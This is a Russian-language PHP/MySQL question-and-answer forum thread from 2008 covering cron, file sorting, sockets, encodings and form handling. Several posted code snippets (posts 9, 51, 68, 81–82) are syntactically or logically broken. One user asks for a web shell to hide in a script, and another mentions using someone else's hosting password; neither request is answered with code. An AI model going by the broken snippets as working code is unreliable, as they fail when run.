Вопрос-Ответ по php

1. OlegLom (14.01.08 / 15:17)
Пишем сдесь тока вопросы и ответы по php и MySQL. За флуд, оффтоп и за такие посты как "гы","тебе плюс" и т.д будет строго караться. Пишем тока по теме. Приступаем.

2. bleid-info (14.01.08 / 15:30)
У меня на сайте сделан выбор скинов как можно сделать что бы в окне они отображались на русском языке я имею названия.

3. Mackler (14.01.08 / 16:24)
#2: через функцию транслита пропускай названия и выводи уже с русскими буквами

4. bleid-info (14.01.08 / 19:27)
а по подробнее что куда вставлять фаил с переводом уже есть куда его вставить?

5. Mackler (14.01.08 / 19:47)
#2 и #4: тема "вопрос-ответ", а не "напишите код". И "что куда вставлять" естественно в 1-2 постах не напишешь, а по сему посмотри как в моторе (к примеру) обрабатывается сообщение при транслитерации. Решение твоего вопроса схоже с решением в моторе на 80%

6. Azzido (14.01.08 / 22:29)
Вопрос по Cron! Никогда раньше не работал с этим.В панели управления настройки периодичности,времени и графа "Действие:".Для примера там "echo'Hello,world!';" ,непонятно а где будет эхо,и как нужно прописать чтобы привести в действие скрипт 1.php?

7. Mackler (14.01.08 / 23:26)
Для начала о времени:
* * * * * /home/user/1.php
1(*) - минуты (от 0 до 59)
2(*) - часы (от 0 до 23)
3(*) - порядковый день месяца (от 1 до 31)
4(*) - порядковый день месяца (от 1 до 12)
5(*) - порядковый день недели (0-7, где 0 и 7 это воскресенье)
значения могут быть через "," (т.е 1,20,40 * * * * /home/user/1.php - означает, что скрипт будет запускацо каждую первую, 20ю и 40ю минуты каждого часа, каждый день)
/home/user/1.php - это путь к скрипту, который следует запускать.
далее запускаем в терминале команду crontab. И в установленное время будет запускацо ваш скрипт.

8. XamiL009 (14.01.08 / 23:59)
как куки через сокет отослать?

9. Mackler (15.01.08 / 00:23)
#9: в заголовках. Типо так:
$header="HTTP/1.1\r\n"; 
$header.="Host: site.ru\r\n";
$header.="Content-type: application/x-www-form-urlencoded\r\n";
$header.="Set-Cookie: login=Nickname\r\n";
$fp = fsockopen("site.ru",80);
fwrite($fp, $header);


10. Удаленный (15.01.08 / 01:43)
Народ а как локальный обработчик пхп скриптов и баз данных настроить..Ну в смысле чтобы скрипты работали на компьютере и к бд конектились/в наличии вот эти программы apache_2.0.58-win32-x86-no_ssl;
mysql-5.1.12-beta-win32;
php-5.2.0-W in32;

11. Mackler (15.01.08 / 01:46)
не проще ли поставить "топсервер" и не заморачивацо с настройкой отдельных компонентов? ИМХО... Тем более такой вопрос скорее относицо к разделу "компы/игры/софт", так как в этом разделе обсуждаем именно проблемы и вопросы, связанные с языками РНР && MySQL.

12. Mackler (15.01.08 / 01:50)
#11: А вообще всё это настраивается с помощью изменения настроек в конфиг-файлах всех компонентов.

13. Mackler (15.01.08 / 01:58)
либо просто сохраняете задание... Путь к файлу следует указывать типа: /home/domen/public_html/1.php
Чтобы задать , к примеру , время запуска через каждые 2 минуты, то можно прописать в параметрах времени следующее:
/2 * * * * /home/domen/public_html/1.php
тем самым вы задаёте запуск скрипта по чётным минутам (то есть каждую 2ю, 4ю, 6ю и т.д.)
Можно использовать также и запись вида:
* 1,5-10,18 * * * /home/domen/public_html/1.php
тем самым вы запустите в работу скрипт ровно в 1:00, 5:00, 6:00 ... 9:00, 10:00,18:00

14. Удаленный (15.01.08 / 13:49)
#11 topserver.ru либо denwer.ru. это сайты, на которых можеш скачать уже "готовенький" сервер, и не мучиться с настройкой отдельных компонентов. ).gif

15. DRON (17.01.08 / 13:23)
Как сделать чтобы допустим адрес сайта выводился типа sayt.ru/chat...url?=visavi.net что то типа этого запроса? а главная была visavi.ne

16. Mackler (17.01.08 / 14:25)
15: вопрос не понятен.

17. anton663 (17.01.08 / 16:01)
Он имеет ввиду обратную ссылку для сервиса

18. DRON (17.01.08 / 16:27)
http://wap4u.ru/chat/?ver=wml&fon=&txt=&stxt=&url=visavi.net Вот как сделать так?

19. Mackler (17.01.08 / 21:39)
18: чё за вопрос? "Вот как сделать так?" - как, зачем и куда это надо тебе делать? Более информативно вопрос задать не судьба? Тем более подразумеваемый ответ на этот твой вопрос я так думаю связан с тем, чтобы тее тут выложили код? Не, дружок, тут тема "вопрос-ответ". Если тее надо это реализовать, то открой тему для этого (так как ответ в 1 посте на это не составишь).

20. Mackler (17.01.08 / 21:40)
18: тем более не обойтись без знаний пыха!

21. Удаленный (18.01.08 / 00:18)
как пропатчить KDE2 под FreeBSD?

22. Mackler (18.01.08 / 01:08)
21: этот вопрос не относится ни к РНР ни к MySQL...

23. ZooM (18.01.08 / 10:46)
21 так же как и всё остальное. И между прочим кде3 уже есть.

24. Удаленный (18.01.08 / 12:14)
Да вобщето уже и KDE4 есть если ты не знал (:

25. Mackler (18.01.08 / 17:10)
вЭдмЭдЫк Бо, я не сомневаюсь в твоих высоких познаниях в сфере KDE2 и FreeBSD, но здесь твои посты подходят под определение "офтоп"!!!
Далее по теме!

26. Удаленный (20.01.08 / 22:07)
#25, вот тебе задача, подумай на досуге ).gif
Дано: строка текста с пробелами типа "раз два три".
Нужно написать функцию, которая бы обрабатывала эту строку и выводила массив с различным расположением слов в строке, типа $arr[0]='два один три', $arr[1]='три два один'... И т.д.
Сам очень долго уже ломаю голову. С фиксированным количеством слов получается, а с динамическим никак. Функция будет очень полезна для полноценного поиска.

27. Удаленный (20.01.08 / 22:08)
#25, вот тебе задача, подумай на досуге ).gif
Дано: строка текста с пробелами типа "раз два три".
Нужно написать функцию, которая бы обрабатывала эту строку и выводила массив с различным расположением слов в строке, типа $arr[0]='два один три', $arr[1]='три два один'... И т.д.
Сам очень долго уже ломаю голову. С фиксированным количеством слов получается, а с динамическим никак. Функция будет очень полезна для полноценного поиска.

28. Удаленный (20.01.08 / 23:38)
Нет, массив один и слова не рандомно, а все варианты по порядку.

29. Удаленный (20.01.08 / 23:39)
Типа как
1 2 3
1 3 2
2 1 3
2 3 1
3 1 2
3 2 1

30. Удаленный (20.01.08 / 23:42)
Но чтоб она могла обрабатывать предложения с любым количеством слов. Соответственно количество элементов массива будет возрастать в прогрессии

31. Mackler (21.01.08 / 08:09)
ок, подумаю.

32. Удаленный (23.01.08 / 13:02)
Похоже своей задачей я убил тему... Гг.

33. Удаленный (24.01.08 / 17:13)
вот статьишка http://snippets.pp.ru/art.php?id=5&mode=php&c=1&cc=1&page=0 // ip не подмениш ... хотя есть более простой способ ... получить страницу функцией file_get_contents сформировав контекст(передаваемые http заголовки) функцией stream_content_create() ..

34. phpguru (26.01.08 / 04:37)
26, это типа загадка была для прикола или же есть какое-то применение? Прочитал. думал да тут все просто, сейчас зарисуюсь.. не тут то было).gif уже пол часа сижу. Сейчас просто нет времени, но обязательно я его найду для такого дела).gif

35. Удаленный (28.01.08 / 23:07)
Вот начал писать скрипт по нарезке бинарных файлов, и столкнулся с проблемой указания размеров резки. Подскажите как узнавать размеры областей закачки. Например: есть файл размером 34 кб надо его разрезать к примеру по 10 кб и чтоб получилось 4е файла, 3и по 10 и 4ый 4 кб. Так вот как посчитать начало и конец каждого файла, ну первый начинается с 0 до 10, второй с 10 до 20, третий с 20 до 30 и четвертый с 30 до 34.

36. Azzido (29.01.08 / 14:31)
Объясните синтаксис вот этого $r=mysql_fetch_assoc(mysql_query('SELECT count(id) FROM news WHERE 1')); что значит WHERE 1 ?

37. w1NNt (29.01.08 / 15:20)
#27 больше похоже на генератор паролей уникальных из строки символов.... Ыы).gif

38. Удаленный (29.01.08 / 16:57)
Свой пост 37 и его вопрос отменяю ).gif, сам додумался.

39. lumen (30.01.08 / 13:54)
Установил скрипт...пишет нет соединения с БД...где писать данные и как?чтобы работал скрипт...

40. Lord (30.01.08 / 14:37)
установил загруз центр,а файлы не качает вот посмотрите http://lord55.hopto.org/downloads/

41. Удаленный (30.01.08 / 14:41)
Поцаны,подскажите как сделать предосмотр файлам swf,как jpg или gif?

42. lumen (30.01.08 / 14:57)
Подскажите кто нибудь что делать!смотрите выше

43. Удаленный (30.01.08 / 15:32)
43,у тебя ming установлена?

44. Mackler (30.01.08 / 18:56)
42: чё та ваще страница не открывается.
41: а в ридми не написано разве?

45. lumen (30.01.08 / 20:06)
46# там нет реадми...объясни пожалуйста

46. Mackler (30.01.08 / 21:16)
а как я тебе объясню, я ж не телепат. База сама создана у тебя? Посмотри файл конфигурации скрипта, обычно в нём пишут пароль доступа к соединению с базой и т.д.

47. myytf (30.01.08 / 21:24)
Блин, помогите, я никак не могу сделать шоб выводило, кода файл файл пустой, типо Нифига нет в файле. Как эт сделать? Понимаю что вопрос лёгкий, но я только новичёк

48. lumen (30.01.08 / 21:26)
А как этот файл называется?

49. myytf (30.01.08 / 21:27)
lumen, config.php типо этого должно быть

50. myytf (30.01.08 / 21:28)
И ваще выложи где нидь твой скрипт, посмотрим скажем

51. Mackler (30.01.08 / 21:32)
49:
if (file_exists($file))
}$text=file($file);
if (count($text)==0)
{echo 'файл пустой!';
}
else {
echo 'файл не пустой!';
}
}


52. myytf (30.01.08 / 21:35)
53. Спасибо.

53. android (31.01.08 / 00:47)
53, через filesize думаю будет получше (:

54. dosma (31.01.08 / 18:32)
Подскажите какой нидь шелл для того шоб впихнуть в пхп скрипт...

55. Mackler (31.01.08 / 20:20)
56: не на том форуме спросил! Тут не выкладывают шеллы! И ещё: раз уж у тебя нет шеллов (т.е. ты с ними никада не связывалсо!), то выкупить твой шелл в скрипте не составит труда. А после этого репутация твоего ника упадёт, и очень... Подумай. Если кто и делает так, то делают втихоря, никому не говоря и когда очень хорошо в этом разбираешься ).gif

56. Удаленный (31.01.08 / 21:27)
Подскажите как swf предосмотр сделать? Ming установлена

57. gipotez (01.02.08 / 07:15)
Скажите пожалуйста как сделать так, чтобы скрипт сканировал папку с файлами с разными именами [в файлах только цифровые значения], сравнивал значения внутри этих файлов и выводил в порядке убывания имена файлов и их значения. Надеюсь объяснил доступно...

58. gipotez (01.02.08 / 07:21)
еще один вопрос. Как задать время жизни файлу? То есть сделать так, чтобы через сказанное время файл удалялся. Мне только нужно, чтобы и на первый, и на второй вопрос мне приводили пример только на php.

59. gipotez (01.02.08 / 07:22)
еще один вопрос. Как задать время жизни файлу? То есть сделать так, чтобы через указанное время файл удалялся. Мне только нужно, чтобы и на первый, и на второй вопрос мне приводили пример только на php.

60. Azzido (01.02.08 / 08:19)
if((time()-filemtime('файл.dat'))>10800){unlink('файл.dat');}
//файл удаляется через 10800 секунд после создания (3 часа)

61. Azzido (01.02.08 / 08:21)
//А на первый вопрос
$file=glob('./папка/*');
sort($file);
echo $file;

62. Удаленный (01.02.08 / 08:56)
И что никто не знает как сделать предосмотр флешкам?(.gif

63. ZooM (01.02.08 / 09:17)
Поставить флешко на страницу

64. gipotez (01.02.08 / 12:03)
Цареубийца... Не работает то, что ты посоветовал с сортировкой... Вообще не работает. Выдает только 'Array' и все...

65. myytf (01.02.08 / 12:26)
А на каком ты хосте?

66. gipotez (01.02.08 / 12:43)
Я дома тестирую. На TopServer. На нем должно все работать...

67. Azzido (01.02.08 / 17:28)
Ой там пропустил, ехо делай циклом

68. Azzido (01.02.08 / 17:38)
//вот так надо
foreach(glob('./папка/*') as $file)
{
sort($file);
echo $file;
}
//забылся там немного

69. gipotez (01.02.08 / 19:27)
Цареубийца, Мне надо сделать так, чтобы выводилось в порядке уменьшения числового значения, которое хранится внутри файла! Вот... Понимаешь? А это просто выводит список файлов в папке...

70. Удаленный (01.02.08 / 19:28)
Ну помогите кто нибудь.Доходчиво обьясните как swf файлам предосмотр сделать?

71. Удаленный (01.02.08 / 20:16)
Люди, подскажите если не трудно! Как сделать быстрое меню на сайте? Типа как на грдр. Ну чтоб в одной графе ссылки типа-чат, форум и т.д

72. gipotez (01.02.08 / 20:26)
SZV, никак не сделаешь!

73. Azzido (01.02.08 / 20:27)
Че это значит,твое грдр?хехе

74. gipotez (01.02.08 / 20:27)
SZV, если только отдельно делать скриншоты и вставлять их потом...

75. Azzido (01.02.08 / 20:33)
gipotez, тоесть тебе нужно прочитать файлы и отсортировать соответственно их содержимому? Так бы и писал.гг

76. gipotez (01.02.08 / 20:38)
Цареубийца, так я с самого начала написал так! Да! В файлах просто числа хранятся. Мне надо так же вывести список файлов, но только отсортированых в порядке от большего к меньшему. Я уже и не знаю как объяснить, чтобы понятно было... ).gif

77. Удаленный (01.02.08 / 20:39)
блин, ну например как в моторе скины выбираеш, а надо чтоб ссылки выбирались! С меня + если скажете!

78. Удаленный (01.02.08 / 20:44)
и вапче! Почему поиск на форуме не пашет(((

79. Azzido (01.02.08 / 21:01)
#80, <select title="themes"><option value="http://site.ru/1.php">первая тема</option><option value="http://site.ru/2.php">вторая тема</option></select>
//примерно так,подробней описание сам узнавай

80. Удаленный (01.02.08 / 21:18)
Спасиб! Вот это мне и надо! Держи +

81. Azzido (01.02.08 / 21:51)
foreach(glob('./папка/*') as $file){
$num=file_get_contents($file);
GLOBAL $array[$num]=$file;}
sort($array);
$all=sizeof($array);
for($i=0; $i<=$all; $i++){
echo $array[$1];}

82. Azzido (01.02.08 / 21:57)
//ой напутал немного, думаю разберешься,должно работать.
foreach(glob('./папка/*') as $file){
$num=file_get_contents($file);
GLOBAL $array[$num]=$file;}
sort($array);
$all=sizeof($array);
for($i=0;$i <=$all;$i++){
echo $array[$i];}
//разбивку на страницы сам делай

83. gipotez (01.02.08 / 22:18)
Спасибо. Даже если не работает, все равно спасибо!

84. Удаленный (02.02.08 / 00:02)
не кто не знает функций для определения размера фаила на удаленом сервере, по протоколу http???

85. Mackler (02.02.08 / 00:13)
без проблем:
// $path - путь к файлу
function file_size($file)
{$text=file_get_contents($file);
$size=strlen($text );
return $size;
}
echo file_size($path).'байт';


86. Удаленный (02.02.08 / 00:23)
ща проверю

87. Удаленный (02.02.08 / 00:31)
все работает, большое спасибо.
а то пол дня мануал читал, не какой функций потходящеи не нашол.

88. Mackler (02.02.08 / 01:03)
89: тока там погрешность идёт (почемуто, хз...) и ещё:
вес PHP-страницы ты им не измериш, т.к. будет считывацо вес страницы уже исполненой (то есть будет считывацо количество байт принятых твоим браузером)

89. Удаленный (02.02.08 / 01:05)
Блин. Узнал что за функций используються в это скрипте, такое мне не подходит так как бывает что нужно определить размер файлов в 10ки мегабайт, а скрипт будет выполнятся на локальной машине.

Может какойнибуть другой способ есть,чтоб трафика меньше ело

90. Mackler (02.02.08 / 01:07)
91: ОГО! ну тада хз... а для мелочи в самый раз ).gif

91. Удаленный (02.02.08 / 01:14)
Ну тогда может есть у кого консольная программа? я тогда через system() прогнал бы.

92. Azzido (02.02.08 / 01:49)
Импортировать себе на хост и измерить размер

93. Leo (02.02.08 / 09:31)
Если можно,дайте ссылку на простой скрипт MySQL для тренировки.Не как не могу въехать

94. gipotez (02.02.08 / 11:00)
Цареубийца, спасибо конечно за код, но он работает не так как надо. Вообще не понятно в каком порядке он формирует список. Может вы понять не можете что именно мне нужно... Я сейчас на примере расскажу.

95. gipotez (02.02.08 / 11:10)
У меня есть папка 'UsrOtv'. В ней хранятся файлы с именами, например, 'Usr-Dimom.otv', 'Usr-Klaus.otv', 'Usr-Ej.otv' и 'Usr-FiFa.otv'. В каждом из этих файлов хранится ЧИСЛОВОЕ значение. Моя задача: сделать так, чтобы скрипт сканил нужную папку, сканил каждый файл в ней и выводил в список имя файла в данной папке и рядом значение, которое хранится в файле этом. ! Но список должен быть сформирован в порядке убывания [от большего к меньшему] значений, хранящихся внутри файлов ! Я сделал и сканирование папки, и вывод имен файла и рядом их значении... Но никак не пойму как сделать так, чтобы список формировался в порядке уменьшения значений, хранящийся внутри этих файлов!

96. Удаленный (02.02.08 / 12:03)
<?

include('.../include/path.php'); // подключение абсолютного пути
include($path.'/include/check_auth.php');// проверка авторизации
function put_content(){
include code.php;
$scn = '';
if ($d[0] == "." or $d[0] == "/") exit ('Не верный каталог'.$px);
$d = str_replace ('..','',$d); $d = str_replace ('//','/',$d);
if (!is_dir ($piath.$d)) exit ('Не верный каталог (err:2)'.$px);
if ($d == '') $main = 'Загрузки';
else
$main = realname(basename($d));
if ($d) $d = $d."/";
$list = glob ($piath.$d.'*');
if ($sort == "n")
{
sort ($list);
}
if($sort == "d")
{

97. Удаленный (02.02.08 / 12:05)
Где - тоошибочка. if (!is_dir ($piath.$d)) exit ('Не верный каталог (err:2)'.$px); // Выдаёт эту страницу

98. Azzido (02.02.08 / 13:03)
#99, исправь $piath на $path

99. Azzido (02.02.08 / 13:05)
#98, функция rsort(); сортирует по убыванию.

100. Azzido (02.02.08 / 13:10)
И не знаю почему у тебя не работает, у себя попробовал-сортирует по возрастанию содержимого файла,если по убыванию хочешь исправь sort на rsort, еще лучше думаю array_reverse(natsort($var));

101. Удаленный (02.02.08 / 14:43)
*102 Дык у меня с движком он связан. а $path используеться двигом, вот и сменил.

102. Mackler (02.02.08 / 15:20)
"[30-Jan-2008 12:20:13] PHP Неисправимая ошибка: Невозможно выполнить код из этого файла в сочетании с не кодирование файлов в /home/tidus/public_html/template/start.php on line 3"

103. Azzido (02.02.08 / 15:23)
#103, пост номер 102 относился не к тебе.А че тогда удивляешься что не работает?Переменные это не простой набор букв,и сами по себе не возникают.

104. Удаленный (02.02.08 / 23:01)
*106 Ццц я тебе и говорю, я все переменыые загруза изменил. А если бы я ошибся при переименовании, то заг бы выдал совсем другую ошибку!

105. Nefi (02.02.08 / 23:05)
Вопрос! preg_match не фига не понимает русские буквы Н Ф Т в кодировке UTF8. Перевести в с помощью iconv() в какую кодировку? в cp1251? как правильно указать кодировку в iconv()

106. Mackler (02.02.08 / 23:07)
типо таг:
$pismo = iconv('UTF-8','KOI8-R',$pismo);
или
$pismo = iconv('UTF-8','CP1251',$pismo);


107. Nefi (02.02.08 / 23:09)
#109 гм.. в CP1251 первел, все равно preg_match не понимает...
методом тыка в ISO-8859-1, вроде заработало

108. Mackler (02.02.08 / 23:12)
я тебе привёл пример операторов кодировок ).gif а какой воспользоваться уже вибирай сам ...

109. Nefi (02.02.08 / 23:15)
111 ну эт понятно)
я к тому, что мож кто с preg_match и русскими символами в UTF8 сталкивался
Все равно, спасиб

110. Azzido (03.02.08 / 00:14)
#107, ты привел кусок кода, все переменные $path, и ошибку выдает строка где переменная $piath, я же русским языком пишу, если уж так надо,исправь другие $path на $piath.

111. Azzido (03.02.08 / 00:23)
#112, я когда с обрезанием текста в UTF-8 через substr столкнулся,оказалось символы в UTF-8 весят в 2 раза больше чем в Windows-1251, тоесть полсообщения обрезалось,и я промежуточно переводил в Windows-1251.
$var=iconv('Windows-1251','UTF-8',substr(iconv('UTF-8', 'Windows-1251',$var),0,300));

112. Azzido (03.02.08 / 00:25)
И только потом я узнал об iconv_substr();... В общем с preg_match такие же дела наверно...

113. superboy (03.02.08 / 06:17)
Как строку из таблицы занести в переменную?

114. Удаленный (03.02.08 / 07:11)
*114, бум подробоее обяснять: $path - используеться двигом, $path - используеться ЗЦентром. Я во всех файлах, где $path используеться ЗЦентром изменил на $piath. Затем соеденил с движком.

115. Azzido (03.02.08 / 08:09)
#116, вам не сюда, вам учебник читать.
#117, ну разбирайся тогда, но ошибка из за того что не задана переменная.))

116. superboy (03.02.08 / 09:10)
Да я по мускулу шарю я ток ето не знаю! Вот я и хочю у вас узнать

117. Azzido (03.02.08 / 09:28)
#119,
//сначала делаем выборку из базы,к примеру
$que=mysql_query('SELECT * FROM table LIMIT 1');
//заносим все в ассоциативный массив
$que2=mysql_fetch_assoc($que);
//ключ элемента ассоциативного массива-имя поля,и если у нас в таблице table имелись поля id и user, то они будут выглядеть так
echo $que2['id'];
echo $que2['user'];

118. Удаленный (03.02.08 / 23:32)
Народ подскажите форму, для загрузки файлов с телефона и оперы мини!

119. Slavka-r (03.02.08 / 23:38)
Люди помогите сделать что-бы при записи файла цмод были не 600 а 770 вот в txt install.slavka-r.h2m.ru/constr.txt если можно выложите переделаный

120. Slavka-r (03.02.08 / 23:39)
Вот ссылка к посту 124 http://install.slavka-r.h2m.ru/constr.txt

121. Azzido (03.02.08 / 23:48)
chmod($file,0770);

122. Slavka-r (03.02.08 / 23:51)
126 спасибо только куда это в тулить после чего? Мне надо что-бы на jar и на jad

123. Удаленный (04.02.08 / 00:05)
Народ подскажите форму, для загрузки файлов с телефона и оперы мини!

124. Slavka-r (04.02.08 / 00:41)
126, вот станица
Warning: chmod(): Unable to access constr/res/gd20080204003711.jar in /usr/home/slavka-r/htdocs/k/constr.php on line 46Warning: chmod(): stat failed for constr/res/gd20080204003711.jar in /usr/home/slavka-r/htdocs/k/constr.php on line 46 Gravity Defied - On-line конструктор игры
Уровень: nickolay
Скин: mars
Цвет трасс: black
Язык: russian
Имя мода: GDTR_Mod_20080204003711
Сборка завершена!
Размер: 109983
Ссылка
JAR jad
Еще сборка цмод все равно не робит!

125. Azzido (04.02.08 / 05:13)
#129, покажи куда вставил,и в какой папке ваще находится скрипт

126. Azzido (04.02.08 / 07:32)
#128, загрузка файла с опера мини http://snippets.pp.ru/art.php?id=44&mode=php&c=5&cc=0&page=0

127. Azzido (04.02.08 / 07:33)
#128, загрузка обычным браузером http://snippets.pp.ru/art.php?id=24&mode=php&c=5&cc=0&page=0

128. w1NNt (04.02.08 / 18:04)
Просили код определения размера файла не загружая его ...
//
function getRemoteFileSize ( $url ){
$parse = parse_url ( $url );
$host = $parse [ 'host' ];
$fp = @ fsockopen ( $host , 80 , $errno , $errstr , 20 );
if(! $fp ){
$ret = 0 ;
}else{
$host = $parse [ 'host' ];
fputs ( $fp , "HEAD " . $url . " HTTP/1.1\r\n" );
fputs ( $fp , "HOST: " . $host . "\r\n" );
fputs ( $fp , "Connection: close\r\n\r\n" );
$headers = "" ;
while (! feof ( $fp )){
$headers .= fgets ( $fp , 128 );
} fclose ( $fp );
$headers = strtolower ( $headers );
$array = preg_split ( "I[\s,]+I" , $headers );
$key = array_search ( 'content-length:' , $array );
$ret = $array [ $key + 1 ];
} if( $array [ 1 ]== 200 ) return $ret ;
else return - 1 * $array [ 1 ];
} $url = 'http://www.site.ru/file.zip';
$size = getRemoteFileSize ( $url );
echo "Размер удалённого файла (bytes): " . $size ;

[Отредактировано: Mackler - 04.02.08/18:04]

129. Удаленный (05.02.08 / 17:08)
Всем привет!я ток учус работать с php поэтому многова ещё недоганяю,вапросс такой у меня 15 матор значит саздал я папку java в директории htdocs накидал туда много ява как мне теерь её прописать?пробывал так <a href="/java/index.php;<?echo SID;?>">Названиё</a><br>нерастёт так<a href="/htdocs/java">123</a></br>тож нерастёт может я чо нетак делаю?

130. Удаленный (05.02.08 / 17:12)
и ваще можно ли редактировать index.sfx

131. Azzido (05.02.08 / 17:56)
#133, тебе в раздел WAP-MOTOR в этом разделе не все с моторами работали

132. Azzido (05.02.08 / 17:58)
И вообще поидее если ты jаvа загрузки делаешь,то там есть загрузцентр,папка download

133. Удаленный (06.02.08 / 11:08)
размер файла можно неиного попроще узнать

$fname='/path-to-file/big-big-big.mpg';
$fhost='www.s uper-mega.ru';
$x=0;
$fp = fsockopen($fhost, 80, &$errno, &$errstr, 30) or die("облом");
fputs($fp,"HEAD $fname HTTP/1.0\nHOST: $fhost\n\n");
while(!feof($fp)) $x.=fgets($fp,128);
fclose($fp);
if (ereg("Content-Length: ([0-9]+)",$x,$size)) echo "Размер файла $size[1] байт";
else echo "Определить невозможно";


134. Azzido (06.02.08 / 16:08)
$var=substr($ref,-1);

135. Mackler (06.02.08 / 16:58)
В какой то теме в разделе обучения я выкладывал код по сортировке файлов по времени. Тема как раз и называлась про сортировку. Поищи там.

136. Azzido (06.02.08 / 16:59)
//вот пример сортировке по дате из одного загрузцентра
$list=glob($path.$d.'*');
foreach($list as $k => $v){$files[$k]=$v;
$time[$k]=filemtime($v);}
arsort($time);
$list=a rray();
foreach($time as $k => $v){$list[]=$files[$k];}

137. Mackler (06.02.08 / 17:02)
Вот тема про эту сортировку http://visavi.net/forum/index.php?fid=9&id=12022215507&

138. Удаленный (07.02.08 / 08:19)
Поцаны подскажите как сделать предосмотр файлам swf?библиотека соответствующая включена.Помогите пожалуйста

139. Mackler (07.02.08 / 18:59)
143: а хрен его знает... и скорее всего что тут единицы кто с этим работал (еси вообще есть)... попробуй сгуглить инфу об этом, мож чё и найдёш

140. Azzido (08.02.08 / 17:37)
#145, для этого хостер предоставляет специальный интерфейс для работы с базами данных, чаще всего это PhpMyAdmin, там имеется возможность "импорта" текстового файла с sql-запросами, либо используй специальные скрипты, для заливки таблиц

141. Azzido (08.02.08 / 18:01)
Ищи здесь в архиве скриптов. Так же можно пользоваться онлайн ftp сервисом типа wapftp.org там есть возможность создания файла-установщика из .sql файлов

142. Azzido (08.02.08 / 19:10)
Ну зайди да попробуй,че там понимать http://wapftp.org.ru

143. Azzido (08.02.08 / 19:11)
Ой,забыл, http://wapftp.org

144. Mackler (10.02.08 / 15:16)
153: у тебя есть фтп-клиент? через него загружаешь файл с таблицей на сервак себе. А потом через PhpMyAdmin создаёшь таблицу и потом заливаешь из текстового файла данные в таблицу

145. FANTOM (10.02.08 / 23:35)
darov vsem,ktoto znaet adres phpmyadmina na sweb.ru?

146. Azzido (11.02.08 / 07:30)
#155, спроси в поддержке хостинга

147. FANTOM (11.02.08 / 08:27)
#155 мои саит не на свеб.ру,просто иа дастал у аднова парол и xачу тестит

148. Azzido (11.02.08 / 16:46)
#157, скажи чтоб спросил у поддержки тот кто дал тебе пароль

149. SANGEN (11.02.08 / 19:12)
закрыть текст в грабе
$file = str_replace('<title>текст сайта</title>', '<title>мой текст который я хочу видеть </title>',$file); пробовал так не закрывает

150. Azzido (11.02.08 / 19:40)
#159, в коде ошибок нет, возможно не так его применяешь)

151. gipotez (11.02.08 / 20:08)
что нужно прописать в скрипте, чтоб предложение обрезалось не во буквам, а по словам?

152. Удаленный (11.02.08 / 21:07)
A не подскажите,тут еще что нибудь нужно фильтровать?
<?php
$link = mysql_connect ( "localhost" , "mysql_user" , "mysql_password" );
mysql_select_db ( "database" , $link );
$result = mysql_query ( "SELECT * FROM table1" , $link );
$num_rows = mysql_num_rows ( $result );
echo "$num_rows Rows\n" ;
?>

153. Azzido (11.02.08 / 22:29)
#162, здесь в фильтрации ничего не нуждается)

154. Azzido (11.02.08 / 22:34)
#161, не приходит ничего в голову кроме как сначала обрезать текст по буквам, разбить в массив через пробел [explode(' ',$a);] и сделать unset(); последнего элемента) хотя смотря для чего ты это делаешь, ибо этот способ может быть и неудобен)

155. HEX (12.02.08 / 18:06)
Какой максимальный размер файла можно прочитать функцией file?

156. android (12.02.08 / 18:22)
Смотря сколько оперативы выделео на скрипт

157. HEX (12.02.08 / 18:33)
Ясно

158. Sanek-4eL (13.02.08 / 11:58)
Чуваku,п0дсkажu каг сделать в одн0м файле тuп '2 странuцы'?Поuсняю))
Напрuмер в м0т0ре.Там в файле mаin.php находяцо несkоkа странuц.Я делаю таг:
<?php
if(!isset($action)){вЁecho '<a href="index.php?action=enter&amp;">Войтu</a><br/>';}
if($action=="ent er"){
echo 'вы успешна вошли<br/>';}
?>
должн0 палучuцо таг,тuпвЁ я захожу на сайт,вижу тог ссылу "Войти"вЁ,перехожу п0 ней,и там должен увuдuть тог "Вы успешно вошлu".
Итог-не Х_э.р@ не перехоuд п0 ссыле,выkuдывает опять на главную.Где ошuбkа,чо не пральна делаю?Заранее спасuб=)

159. Sanek-4eL (13.02.08 / 15:56)
Шота код пап0ртuлсо))Вот короч:
<?php
if(!isset($action)){echo '<a href="index.php?action=enter">Войтu</a><br/>';}
if($action=="enter"){
echo 'вы успешна вошли<br/>';}
?>


160. Azzido (13.02.08 / 16:19)
#169, в коде ошибок нет, возможно у тебя register_globals off,тогда нужно так $_GET['action']

161. Sanek-4eL (13.02.08 / 16:27)
Цареубийца,спасuб чуваг,держu +!=)А эт kуда пропuсовать?Гг

162. Удаленный (13.02.08 / 16:41)
Туда же

163. Sanek-4eL (13.02.08 / 17:08)
Тuп таk?=)
<?php
if($_GET ['action']){echo '<a href="index.php?action=enter">Войтu</a><br/>';}
if($_GET ['action==enter']{
echo 'вы успешна вошли<br/>';}
?>


164. Azzido (13.02.08 / 18:23)
Не,$action замени на $_GET['action'] а не на $_GET['action=enter']

165. Sanek-4eL (13.02.08 / 18:25)
Ааа,спасuб еще раз))

166. OlegLom (14.02.08 / 18:26)
Вот взялся за мускул. )) Такое дело. Как мне в конце таблицы вставить строку? Таблицы уже научился создавать с уже задаными строками. А как уже в созданой добавить?

167. Azzido (14.02.08 / 18:31)
176, это mysql_query('INSERT . . . '); почитай об этом запросе, особенно об автоинкременте)

168. Azzido (14.02.08 / 18:31)
Или ты все же про поля/столбцы?)

169. Удаленный (15.02.08 / 00:55)
Люди,падскажите как в сокетах пасылать запросы через прокси=)

170. Azzido (15.02.08 / 22:18)
#180, функция strstr(); возвращает строку, начиная с указанного символа..
$gold='0000100';
echo strstr($gold,'1');

171. Удаленный (15.02.08 / 23:22)
тогда вместо '1' ставится переменная $а, например

172. Удаленный (16.02.08 / 00:54)
а если эту переменную обозначить как $gold=(int)$gold;

173. Удаленный (16.02.08 / 10:32)
тока проверку поставь на численные значения вводимой переменной

174. HEX (16.02.08 / 21:05)
Возможно ли средствами php изменять битрейт mp3-файлов?

175. android (16.02.08 / 21:07)
нет, можно системно вызывать приложения которые это делают

176. TiM (17.02.08 / 03:01)
Как обрезать строку до первого нужного символа(например, до первой точки, кавычки, слэша и т.д.)?

177. Azzido (17.02.08 / 07:59)
#192, $a=strtok($b,'/');

178. KIRIK (18.02.08 / 01:27)
A что такое протокол 777и тп. и как их писать?

179. Capitan-Zoom (19.02.08 / 16:14)
Аффтар ты ***?
[Отредактировано: Mackler - 19.02.08/16:14]

180. AksinVin (21.02.08 / 23:02)
Есть че нибудь что считает кол-во строк в файле и выводит в циферном значении типа "Всего номерков: [12]"

181. w1NNt (21.02.08 / 23:49)
#196
